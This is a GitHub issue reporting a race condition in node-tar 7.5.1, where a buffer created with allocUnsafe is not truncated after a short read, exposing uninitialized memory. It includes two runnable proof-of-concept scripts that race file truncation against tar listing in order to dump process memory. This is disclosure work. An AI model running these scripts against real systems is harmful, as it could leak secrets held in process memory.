Skip to content

Race condition leading to uninitialized memory exposure #445

@ChALkeR

Description

@ChALkeR

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B:

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run in parallel on Node.js 22 LTS (as 24 accidentally zero-fills allocUnsafe, nodejs/node#60423)

Dumps B memory (wait for some time to observe text data)

tar@7.5.1

Bug is in this code:

node-tar/src/list.ts

Lines 64 to 68 in d094cd7

const readSize: number = opt.maxReadSize || 16 * 1024 * 1024
if (stat.size < readSize) {
const buf = Buffer.allocUnsafe(stat.size)
fs.readSync(fd, buf, 0, stat.size, 0)
p.end(buf)

It should use readSync return value and truncate the temporary buffer

Introduced in 5330eb0

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions